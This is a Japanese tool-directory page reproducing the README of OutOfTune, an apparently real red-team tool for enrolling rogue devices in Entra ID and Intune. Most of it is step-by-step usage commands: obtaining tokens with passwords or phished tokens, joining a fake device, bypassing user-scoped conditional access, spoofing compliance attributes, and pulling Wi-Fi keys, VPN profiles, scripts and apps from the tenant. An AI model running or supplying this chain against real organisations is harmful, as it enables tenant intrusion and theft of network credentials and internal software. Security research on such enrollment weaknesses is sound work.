Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/stra-x/outoftune
認証と認可特権昇格脆弱性分析横移動構成監査情報収集ポストエクスプロイトペネトレーションテストクラウドセキュリティモバイルセキュリティアイデンティティ&アクセス管理 (IAM)レッドチーミング
3134ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubstra-x/outoftune

OutOfTune

Entra IDおよびIntune MDM向けの不正デバイス登録ツール。条件付きアクセスをバイパスしながら、デバイス参加、トークン取得、MDM登録、OMA-DMチェックインを自動化し、ポリシー、Wi-Fi認証情報、スクリプト、アプリを抽出します。

リポジトリを見る

OutOfTune

元のPytuneに触発されたOutOfTuneは、Entra IDに不正なデバイスを登録し、Intune MDMに登録し、その結果のコンプライアンス状態を確認します。

現在はWindowsデバイスのみ対応しています(これが私の主な目的でした)。将来的に他のOSも追加するかもしれません。

付属ブログ:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

必要条件

root@kitploit:~
pip install -r requirements.txt

動作の仕組み

チェーンは複数のフェーズで実行され、各フェーズは chain_state.json に保存された状態に基づいて構築されます。

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - DRSアクセストークンを取得 (ROPCまたは事前にフィッシングしたもの)
  2. device-join - Entra IDに新しいデバイスオブジェクトを登録し、デバイス証明書を取得
  3. device-token - デバイスプリンシパルとして認証し、Intune登録トークンを取得
  4. mdm-enroll - SOAP検出 + WS-Trust登録を行い、MDMクライアント証明書を取得
  5. mdm-checkin - OMA-DM SyncMLチェックインを実行し、ポリシーを取得、オプションでプライマリユーザーを設定

使用方法

1. DRSトークンを取得

ROPC (資格情報を知っている場合):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

事前取得済みトークン:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. デバイスをEntra IDに参加させる

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

出力: <DEVICENAME>.pfx - デバイス証明書。パスワードは password。


3. デバイスプリンシパルトークンを取得

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

デバイスオブジェクトとしてAADに認証します(ユーザーではありません)。ユーザースコープのCAポリシーをバイパスします。


4. Intune MDMに登録

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

MDMエンドポイントに対してSOAP検出を実行し、WS-Trust PKCS10登録要求を送信します。出力: <DEVICENAME>_mdm.pfx。

--profile を使用して、Intuneに送信するデバイスのハードウェア/OS属性を偽装します(デバイスプロファイル を参照)。


5. OMA-DMチェックイン

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

r.manage.microsoft.com に対してOMA-DM SyncMLループを実行します。Intuneは構成プロファイル、アプリの割り当て、およびその他のデバイスを対象とするポリシーをプッシュします。ループ完了後、インテリジェンスが自動的に抽出されて表示されます。

-r が指定された場合、更新トークンは manage.microsoft.com アクセストークンと交換され、各SyncML要求で Authorization: Bearer として送信されます。IntuneはこのトークンからUPNを読み取り、それをデバイスのプライマリユーザーとして設定します。これにより、ユーザースコープのコンプライアンスポリシーがバインドされます。ユーザーを割り当てるには -r を一度実行するだけでよく、それ以降のチェックインは更新トークンなしで実行できます。

-r がない場合、デバイスにはプライマリユーザーが設定されません。

この最初のチェックイン後、長期間(通常5〜7日)チェックインしないと、デフォルトの「有効」ポリシーによりデバイスが非準拠になる可能性があります。Intuneの構成によっては、デバイスが非準拠とマークされる前に猶予期間に入る場合があります。その場合は mdm-checkin を再実行してください。以前に更新トークンを使用してプライマリユーザーを割り当てた場合、プライマリユーザーはIntuneバックエンドに保存されているため、再度送信する必要はありません。

フラグ

抽出される有用な情報


保存されたSyncMLラウンドを解析

--save-syncml で保存された生のXMLラウンドを、ライブチェックインを実行せずに再解析します。

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

コンプライアンス状態を確認

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

デバイス証明書からPRTを生成し、それをIWServiceトークンと交換し、IWService/Devices に問い合わせてデバイスのコンプライアンス状態と非準拠ルールを取得します。

テナントCAが登録リソースにMFAを要求する場合は、MFAセッションの更新トークンを -r で使用します。


アプリとスクリプトをダウンロード

IME SideCarGateway経由でデバイスに割り当てられたWin32アプリとPowerShellスクリプトを取得します。MDMクライアント証明書のみを使用します — ユーザートークンは不要です。

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • PowerShellスクリプトは scripts/<PolicyId>.ps1 に保存されます
  • Win32アプリはCDNからダウンロードされ、復号化されて apps/<AppName>/ に展開されます

修復スクリプトをダウンロード

デバイスに割り当てられたプロアクティブ修復スクリプト(検出+修復のペア)を取得します。

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

各ポリシーは remediations/<PolicyId>/ に保存され、以下が含まれます:

  • detection.ps1 — 検出スクリプト
  • remediation.ps1 — 修復スクリプト
  • params.json — ポリシーIDとスクリプトパラメータ

クリーンアップ

Intuneからのデバイス削除に失敗した場合は、Entraから削除します。その後、Intune内で猶予期間に入り、後日自動的に再削除されます。

Intuneからデバイスを削除:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Entra IDからデバイスオブジェクトを削除:

root@kitploit:~
python OutOfTune.py entra-delete

チェーンの進行状況を確認

root@kitploit:~
python OutOfTune.py status

デバイスプロファイル

登録時およびチェックイン時にIntuneに送信されるデバイス属性は、JSONプロファイルを使用して完全に偽装可能です。これには、ハードウェア識別子、OSバージョン、製造元、およびすべての自己報告コンプライアンスCSP値(BitLocker、Firewall、Defender、TPM、Secure Boot)が含まれます。

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # プロファイルは状態に保存され、自動的に再利用されます

含まれるプロファイル

ファイルデバイス
profiles/default.jsonデフォルト値 (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

プロファイルフィールド

すべてのDeviceStatus CSP値は自己報告であり、独立した検証なしでIntuneによって信頼されます。HAS証明されたコンプライアンスチェック(HealthAttestation CSPを介したBitLockerEnabled、SecureBootEnabled)には実際のTPMが必要であり、この方法では偽装できません。


グローバルフラグ

root@kitploit:~
--debug          詳細なHTTP + トークンログ
--proxy <url>    プロキシ経由でトラフィックをルーティング (例: http://127.0.0.1:8080)

これらはコマンドの前に配置します:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

証明書の上書き

以前の実行の証明書がある場合や特定のPFXファイルを使用したい場合:

root@kitploit:~
python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

状態ファイル

すべてのフェーズの出力は、作業ディレクトリの chain_state.json に保存されます。削除すると新しく開始します。status を使用して、何も実行せずに現在の状態を確認できます。複数のデバイスを扱う場合は、それぞれに独自の状態ファイルがあることを確認してください。デフォルトの状態ファイルは、スクリプトの先頭で操作している任意のデバイスに変更できます。証明書の上書きオプションは主にデバッグ目的であるため、注意して使用してください。

クレジット

多大な功績は @temp43487580 にあります。彼は元のPytuneを作成し、その独自の研究がこれを可能にしました。

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
ツールをダウンロード
フラグ説明
--cert FILE使用するMDM PFX — デバイス名はファイル名から自動的に導出
-r RTユーザー更新トークン — プライマリユーザーを設定(一度だけ必要)
-O DIR抽出したアーティファクトをDIRに保存 (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIR各ラウンドの生のSyncML XMLをDIRに保存(オフライン再解析用)
-o FILE完全なコンソール出力をFILEに書き込む
カテゴリ保存先備考
Wi-Fiプロファイルwifi/<SSID>.xml + _psk.txt存在する場合は平文PSKを抽出
VPNプロファイルvpn/<name>.xml完全なProfileXML
証明書ペイロードcerts/cert_N.b64暗号化されたPFXブロブ(生の状態、まだ復号化されていません)
SCEPチャレンジ表示CAモデル名、チャレンジURL
スクリプトscripts/<name>.ps1OMA-DM経由でプッシュされたPowerShellスクリプト
MSIダウンロードURL表示LOBアプリの直接CDNリンク
ODJブロブodj_blob.b64 + odj_strings.txtオフラインドメイン参加 — 読み取り可能な文字列を抽出
Add値add_values.jsonその他のAddコマンド(ルートCA証明書、MDEオンボーディング、ポリシー設定)
Replace値policy_values.jsonIntuneによって設定されたポリシーCSP値
フィールドCSP備考
os_versionDevDetail/SwV最小/最大OSバージョンのコンプライアンスチェック
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise, 48 = Pro
manufacturerDevInfo/Man一部のポリシーは製造元を許可リストに登録する
mac_addressSOAP AdditionalContext/MAC全ゼロは明らかな指標
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64桁の16進数
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = 暗号化済み (自己報告)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = 準拠 (自己報告)
firewall_statusDeviceStatus/Firewall/Status0 = オン (自己報告)
secure_boot_stateDeviceStatus/SecureBootState1 = 有効 (自己報告、HAS証明なし)
tpm_versionDeviceStatus/TPM/SpecificationVersion暗号的な証明なし
defender_enabledDefender/Health/DefenderEnabledtrue = 実行中
defender_versionDefender/Health/DefenderVersion一部のポリシーは最小バージョンを強制する